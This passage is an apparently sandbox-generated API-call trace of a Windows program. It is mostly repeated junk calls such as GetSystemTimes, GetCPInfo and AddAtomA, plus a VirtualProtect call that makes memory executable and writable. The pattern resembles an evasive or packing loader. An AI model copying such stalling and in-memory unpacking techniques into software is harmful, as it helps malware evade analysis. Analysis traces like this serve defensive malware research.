lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.176] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.176] GetACP () returned 0x4e4 [0054.176] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.176] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.176] GetACP () returned 0x4e4 [0054.176] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.177] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.177] GetACP () returned 0x4e4 [0054.177] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.177] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.177] GetACP () returned 0x4e4 [0054.177] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.177] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.177] GetACP () returned 0x4e4 [0054.177] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.177] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.177] GetACP () returned 0x4e4 [0054.177] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.177] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.177] GetACP () returned 0x4e4 [0054.177] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.177] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.177] GetACP () returned 0x4e4 [0054.177] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.177] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.177] GetACP () returned 0x4e4 [0054.177] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.177] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.177] GetACP () returned 0x4e4 [0054.177] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.177] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.178] GetACP () returned 0x4e4 [0054.178] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.178] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.178] GetACP () returned 0x4e4 [0054.178] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.178] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.178] GetACP () returned 0x4e4 [0054.178] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.178] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.178] GetACP () returned 0x4e4 [0054.178] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.178] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.178] GetACP () returned 0x4e4 [0054.178] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.178] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.178] GetACP () returned 0x4e4 [0054.178] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.178] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.178] GetACP () returned 0x4e4 [0054.178] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.178] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.178] GetACP () returned 0x4e4 [0054.178] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.178] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.178] GetACP () returned 0x4e4 [0054.178] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.178] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.179] GetACP () returned 0x4e4 [0054.179] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.179] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.179] GetACP () returned 0x4e4 [0054.271] VirtualProtect (in: lpAddress=0x5d5ac0, dwSize=0xf2eb, flNewProtect=0x40, lpflOldProtect=0x43ad04 | out: lpflOldProtect=0x43ad04*=0x4) returned 1 [0054.272] AddAtomA (lpString=0x0) returned 0x0 [0054.272] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.272] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.272] AddAtomA (lpString=0x0) returned 0x0 [0054.272] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.272] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.272] AddAtomA (lpString=0x0) returned 0x0 [0054.272] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.272] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.272] AddAtomA (lpString=0x0) returned 0x0 [0054.272] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.272] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.272] AddAtomA (lpString=0x0) returned 0x0 [0054.272] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.272] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.272] AddAtomA (lpString=0x0) returned 0x0 [0054.272] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.272] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.272] AddAtomA (lpString=0x0) returned 0x0 [0054.272] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.272] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.272] AddAtomA (lpString=0x0) returned 0x0 [0054.272] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.272] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.272] AddAtomA (lpString=0x0) returned 0x0 [0054.272] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.273] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.273] AddAtomA (lpString=0x0) returned 0x0 [0054.273] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.273] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.273] AddAtomA (lpString=0x0) returned 0x0 [0054.273] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.273] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.273] AddAtomA (lpString=0x0) returned 0x0 [0054.273] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.273] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.273] AddAtomA (lpString=0x0) returned 0x0 [0054.273] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.273] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.273] AddAtomA (lpString=0x0) returned 0x0 [0054.273] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.273] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.273] AddAtomA (lpString=0x0) returned 0x0 [0054.273] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.273] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.273] AddAtomA (lpString=0x0) returned 0x0 [0054.273] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.273] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.273] AddAtomA (lpString=0x0) returned 0x0 [0054.273] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.273] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.273] AddAtomA (lpString=0x0) returned 0x0 [0054.273] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.273] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.273] AddAtomA (lpString=0x0) returned 0x0 [0054.273] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.273] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.274] AddAtomA (lpString=0x0) returned 0x0 [0054.274] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.274] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.274] AddAtomA (lpString=0x0) returned 0x0 [0054.274] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.274] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.274] AddAtomA (lpString=0x0) returned 0x0 [0054.274] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.274] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.274] AddAtomA (lpString=0x0) returned 0x0 [0054.274] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.274] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.274] AddAtomA (lpString=0x0) returned 0x0 [0054.274] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.274] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.274] AddAtomA (lpString=0x0) returned 0x0 [0054.274] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.274] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.274] AddAtomA (lpString=0x0) returned 0x0 [0054.274] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.274] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.274] AddAtomA (lpString=0x0) returned 0x0 [0054.274] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.274] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.274] AddAtomA (lpString=0x0) returned 0x0 [0054.274] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.274] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.274] AddAtomA (lpString=0x0) returned 0x0 [0054.274] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.274] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.274] AddAtomA (lpString=0x0) returned 0x0 [0054.274] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.275] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.275] AddAtomA (lpString=0x0) returned 0x0 [0054.275] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.275] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.275] AddAtomA (lpString=0x0) returned 0x0 [0054.275] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.275] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.275] AddAtomA (lpString=0x0) returned 0x0 [0054.275] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.275] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.275] AddAtomA (lpString=0x0) returned 0x0 [0054.275] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.275] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.275] AddAtomA (lpString=0x0) returned 0x0 [0054.275] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.275] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.275] AddAtomA (lpString=0x0) returned 0x0 [0054.275] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.275] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.275] AddAtomA (lpString=0x0) returned 0x0 [0054.275] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.275] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.275] AddAtomA (lpString=0x0) returned 0x0 [0054.275] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.275] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.275] AddAtomA (lpString=0x0) returned 0x0 [0054.275] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.275] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.275] AddAtomA (lpString=0x0) returned 0x0 [0054.275] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.275] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.275] AddAtomA (lpString=0x0) returned 0x0 [0054.275] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.276] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.276] AddAtomA (lpString=0x0) returned 0x0 [0054.276] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.276] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.276] AddAtomA (lpString=0x0) returned 0x0 [0054.276] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.276] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.276] AddAtomA (lpString=0x0) returned 0x0 [0054.276] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.276] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.276] AddAtomA (lpString=0x0) returned 0x0 [0054.276] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.276] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.276] AddAtomA (lpString=0x0) returned 0x0 [0054.276] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.276] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.276] AddAtomA (lpString=0x0) returned 0x0 [0054.276] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.276] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.276] AddAtomA (lpString=0x0) returned 0x0 [0054.276] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.276] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.276] AddAtomA (lpString=0x0) returned 0x0 [0054.276] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.276] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.276] AddAtomA (lpString=0x0) returned 0x0 [0054.276] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.276] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.276] AddAtomA (lpString=0x0) returned 0x0 [0054.276] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.276] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.276] AddAtomA (lpString=0x0) returned 0x0 [0054.276] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.277] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.277] AddAtomA (lpString=0x0) returned 0x0 [0054.277] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.277] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.277] AddAtomA (lpString=0x0) returned 0x0 [0054.277] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.277] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.277] AddAtomA (lpString=0x0) returned 0x0 [0054.277] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.277] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.277] AddAtomA (lpString=0x0) returned 0x0 [0054.277] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.277] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.277] AddAtomA (lpString=0x0) returned 0x0 [0054.277] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.277] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.277] AddAtomA (lpString=0x0) returned 0x0 [0054.277] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.277] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.277] AddAtomA (lpString=0x0) returned 0x0 [0054.277] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.277] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.277] AddAtomA (lpString=0x0) returned 0x0 [0054.277] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.277] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.277] AddAtomA (lpString=0x0) returned 0x0 [0054.277] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.277] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.277] AddAtomA (lpString=0x0) returned 0x0 [0054.277] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.277] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.278] AddAtomA (lpString=0x0) returned 0x0 [0054.278] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.278] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.278] AddAtomA (lpString=0x0) returned 0x0 [0054.278] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.278] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.278] AddAtomA (lpString=0x0) returned 0x0 [0054.278] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.278] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.278] AddAtomA (lpString=0x0) returned 0x0 [0054.278] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.278] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.278] AddAtomA (lpString=0x0) returned 0x0 [0054.278] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.278] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.278] AddAtomA (lpString=0x0) returned 0x0 [0054.278] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.278] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.278] AddAtomA (lpString=0x0) returned 0x0 [0054.278] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.278] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.278] AddAtomA (lpString=0x0) returned 0x0 [0054.278] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.278] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.278] AddAtomA (lpString=0x0) returned 0x0 [0054.278] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.278] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.279] AddAtomA (lpString=0x0) returned 0x0 [0054.279] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.279] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.279] AddAtomA (lpString=0x0) returned 0x0 [0054.279] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.279] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.279] AddAtomA (lpString=0x0) returned 0x0 [0054.279] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.279] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.279] AddAtomA (lpString=0x0) returned 0x0 [0054.279] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.279] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.279] AddAtomA (lpString=0x0) returned 0x0 [0054.279] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.279] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.279] AddAtomA (lpString=0x0) returned 0x0 [0054.279] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.279] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.279] AddAtomA (lpString=0x0) returned 0x0 [0054.279] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.279] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.279] AddAtomA (lpString=0x0) returned 0x0 [0054.279] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.279] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.279] AddAtomA (lpString=0x0) returned 0x0 [0054.279] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.279] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.279] AddAtomA (lpString=0x0) returned 0x0 [0054.279] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.279] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.279] 